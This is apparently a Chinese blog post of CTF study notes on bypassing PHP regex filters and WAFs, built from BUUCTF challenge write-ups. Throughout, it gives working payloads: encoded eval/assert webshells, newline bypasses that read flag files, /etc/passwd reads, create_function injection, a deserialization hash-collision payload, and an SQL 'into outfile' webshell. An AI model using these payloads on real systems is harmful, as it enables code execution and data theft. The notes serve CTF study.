正则匹配(如preg_match)及一些过滤绕过

1、当preg_match采用了^xxx$的格式,同时也采用了.*这样的贪婪匹配

主要是用 /^开头    $/结尾的匹配模式时 ( /^ ..... $/ )

<?php

putenv('PATH=/home/rceservice/jail');
#以上代码禁止直接调用cat等OS命令(ls命令可以用),此时可以使用绝对路径方式调用OS命令
#如 cat flag.txt ===> /bin/cat flag.txt
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>

绕过方式:回溯次数超限或是利用%0a(换行)绕过

%0a绕过:
%0a{"cmd":"命令"}%0a    或是 {%0a"cmd":"命令"%0a}
eg:
%0a%0a{"cmd":"/bin/cat /flag.txt"}%0a%0a
%0a%0a{"cmd":"/usr/bin/find / -name flag*"}%0a%0a
%0a%0a{"cmd":"/bin/cat $(/usr/bin/find / -name flag*)"}%0a%0a

注意:表达式中\x00-\x1F 会匹配掉一个%0a,此时,可以多写几个%0a,find和cat命令的绝对路径不一样。
%0a绕过时,有时只需要在 前或后 添加%0a ,有时前后都需要加,根据实际情况尝试。

 参考:[BUUCTF题解][FBCTF2019]RCEService - Article_kelp - 博客园 (cnblogs.com)

2、当preg_match过滤所有数字字母时:

preg_match("/[A-Za-z0-9]+/",$code)

绕过方法:

1)可以利用两个非字母数字的字符通过异或运算构造字母数字的方法

2)利用URL编码取反的操作来尝试绕过:

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
 ?>
输入时记得加~
如:(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CA%CA%A2%D6%D6);  《==》assret(eval($_POST[55]));

参考:BUUCTF:[极客大挑战 2019]RCE ME ——两种方法-CSDN博客

 

3、非字母数字及长度绕过

if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

可以尝试利用数组绕过;

如原本参数 nickname=     写为     nickname[]=

注意:若是构造序列号字符串时,数组,需要重新构造并且用}闭合

如:nixkname[]=where";}s:5:"photo";,非数组则有nickname=where";s:5:"photo"

参考:[0CTF 2016]piapiapia - LLeaves - 博客园 (cnblogs.com)  BUUCTF-WEB 【0CTF 2016】piapiapia 1_[0ctf 2016]piapiapia 1-CSDN博客

 

4、  _(下划线)和 %5f过滤 :

可以尝试用 ' '(空格) 、'.'(点) 和 %5F过滤。 (对应URL编码过滤的,可以尝试利用大小写转换绕过)

 

5、jsfuck代码

若是在代码中遇到 一堆 ()[]!等字符组成的字符串时(如:[][(![]+[])[+[]]+([![]]+[][[]]))那它大概率是jsfuck代码,直接复制该代码,然后再控制台执行,可能会有所收获。

参考:MRCTF2020套娃 |北歌 (kinsey973.github.io)

 

5、无字母数字RCE异或脚本


$hhh = @$_GET['_'];

if(strlen($hhh)>18){ //对参数长度进行限制 die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) //对参数内容进行过滤; die('Try something else!');

以上代码中对参数进行数字、字母、~等过滤,因此此处不能进行URL编码取反绕过,可以尝试利用异或编码进行绕过,加之上述代码还对长度进行限制:

可以尝试构造 $_GET[]();的格式进行调用,[]被过滤,可以尝试利用{}代替。

这可以尝试构造: ?_=$_GET{_}();&_=phpinfo  (只需要对$_GET{_}();&_中被过滤的字符进行异或编码即可;后面的phpinfo是想要执行的内容,也可以是其它)

<?php
function finds($string){
    $index = 0;
    $a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
    for($i=27;$i<count($a);$i++){
        for($j=27;$j<count($a);$j++){
            $x = $a[$i] ^ $a[$j];
            for($k = 0;$k<strlen($string);$k++){
                if(ord($string[$k]) == $x){
                    echo $string[$k]."\n";
                    echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
                    $index++;
                    if($index == strlen($string)){
                        return 0;
                    }
                }
            }
        }
    }
}
finds("_GET");
?>

参考:[BUUCTF题解][SUCTF 2019]EasyWeb - Article_kelp - 博客园 (cnblogs.com)

[SUCTF 2019]EasyWeb 1-CSDN博客

 

6、闭合原有代码,构造新的可利用代码

<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){ //过滤换行
    echo ':(';
}else{
    eval("#$shell"); //说实话该代码,不知道怎么执行$shell,我在本地尝试执行过,却什么也没有,不知道怎么回事,
}

类似以上这种,不能直接利用的,可以尝试闭合原本代码,构造新的代码;

例如: ?shell=?><?php eval(phpinfo());?> (假设它没有对输入进行过滤,且没有禁用我们使用的函数)

payload:

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}?>
#扫描目录
 
;?><?php $file=new SplFileObject('/etc/passwd'); while(!$file->eof()){echo $file->fgets();}//
#读取文件内容(低权限)
 
?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd'); ?>
#读取文件内容(base64)

参考:DASCTF-phpms - 麟原 - 博客园 (cnblogs.com)

DASCTF 2025上半年赛-web1 phpms Writeup-CSDN博客

 

7、绕过

$_SERVER['QUERY_STRING']  (用于获取链接中?之后的内容,即get请求中所有参数的内容)

if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou||pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        ) 

$_SERVER['QUERY_STRING']不会进行url解码,$_GET[]会,所以可以用url编码绕过。

$_REQUEST绕过

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST在同时接收GET和POST参数时,POST优先级更高;当我们同时提交get和post请求时,这个foreach是以post请求优先进行遍历。此时的$_REQUEST就是post传入的内容,那么get中的内容就逃脱了

file_get_contents函数

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents函数,用data伪协议绕过data://text/plain,debu_debu_aqua

shal()绕过

sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2

extract函数变量覆盖

 extract($_GET["flag"]);
flag[code]=覆盖$code变量的值
flag[arg]=覆盖$arg变量的值
假设code和arg是变量

create_function()代码注入

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

$code$arg可控,利用$code('',$arg)进行create_function注入

function a('',$arg){
    return $arg
}

$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容

function a('',$arg){
    return }代码;//
}

构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

具体参考:[BJDCTF2020]EzPHP - Rabbittt - 博客园 (cnblogs.com) 

BUUCTF-WEB [BJDCTF2020]EzPHP 1-CSDN博客

 

无字母数字的webshell脚步:

1、检测上传文件中没有被过滤字符的脚步:

import requests as res
import time
def check(url,alph):
    header={
        'Host':'9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn',
        'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
    }
    data="""
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
12345{}
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"
 
提交         
-----------------------------339469688437537919752303518127--
"""
    #这里因为上传的内容还有上传按钮的值"提交",所以采用encode('utf-8'),但实际上可以去掉"提交"上传,这里也就不需要encode('utf-8')了
    response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
    while response.status_code!=200:
        time.sleep(0.3)
        response=res.post(url,data=data.format(alph).encode('utf-8'),headers=header)
    return response.text
url="http://9a61ef4c-5146-471d-ba31-0198e80df618.node3.buuoj.cn/index.php?act=upload"
alphs=''
for i in range(33,127):
    bak=check(url,chr(i))
    if bak.find("illegal",0)==-1:
        print("Can use {}".format(chr(i)))
        alphs+=chr(i)
    else:
        print("Cn't use {}".format(chr(i)))
print('[*'+alphs+'*]')

参考:[BUUCTF题解][SUCTF 2018]GetShell 1 | 附:utf-8汉字取反得26英文字母(分大小写)字典 - Article_kelp - 博客园 (cnblogs.com)

使用非常规字符写出Shell - Article_kelp - 博客园 (cnblogs.com)

一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

 

PHP类中的MD5及SHA1比较绕过(常见于反序列化中)

注意:类中的MD5及SHA1绕过与平时(没有类时)的绕过不一样,它涉及PHP原生类、Error和Exception类的__toString方法。通过创建不同的Error对象但使它们的__toString返回相同值,成功绕过了MD5和SHA1的校验,最终实现payload执行,包含flag。Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7

payload:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

参考及更详细讲解:[极客大挑战 2020]Greatphp-CSDN博客

 

XXE绕过WAF

通过外来编码绕过:

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

以utf-8转码为utf-16绕过为例:(kali虚拟机中尝试)

 shell.xml是utf-8编码的文件,shell1.xml是utf-16编码的文件(即我们需要的转码后的文件)

注意:转码结束后,不能从虚拟机中直接打开文件复制内容出来,需要将整个从虚拟机中拉出来(复制出来)

参考:绕过WAF保护的XXE-先知社区 (aliyun.com) (改文章中有四种XXE绕过WAF的方法)

[CSAWQual 2019]Web_Unagi 1 - z3ghxxx - 博客园 (cnblogs.com)

 

PHP代码执行中的一些绕过

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

 

图片检测绕过

finfo_file() :检测图片类型;getimagesize() :检测图片长宽

若是在文件上传中使用了这两个函数检查图片的类型及长宽;可以用如下方式绕过:

利用图片工具,如: Hex Fiend  、Hex workshop等工具将其除文件头部分的所有数据删除,破坏掉文件长宽等其余信息,就可以绕过getimagesize() 函数的检验

以png图片为例,只保留 :89504E470D0A1A0A0000000D49484452

参考:BUUCTF [HarekazeCTF2019] Avatar Uploader 1_[harekazectf2019]avatar uploader 1-CSDN博客

 

预处理语句注入

SQL注入中过滤了select然后存在堆叠查询的情况,可以使用预处理语句注入。

可以使用char()绕过被过滤的关键字。

如:select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
    if i == 0:
        print('char(%s'%ord(str[i]),end="")
    else:
        print(',%s'%ord(str[i]),end="")
print(')')
#结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

预处理语句格式:

set @a='sql语句';                  #set的作用就是定义一个变量,变量的命名必须是@开头
prepare 预处理语句名字 from @a;      #prepare语句用于预定义一个语句,不可以指定预定义语句名称;这里的名字是自己取的,但要和下面的名字一致
execute 预处理语句名字;              #execute则是执行预定义语句

参考:[2018年中联论坛]多SQL |北歌 (kinseyy.github.io)

 

posted @ 2025-06-09 16:41  咿呀鲸落  阅读(205)  评论(0)    收藏  举报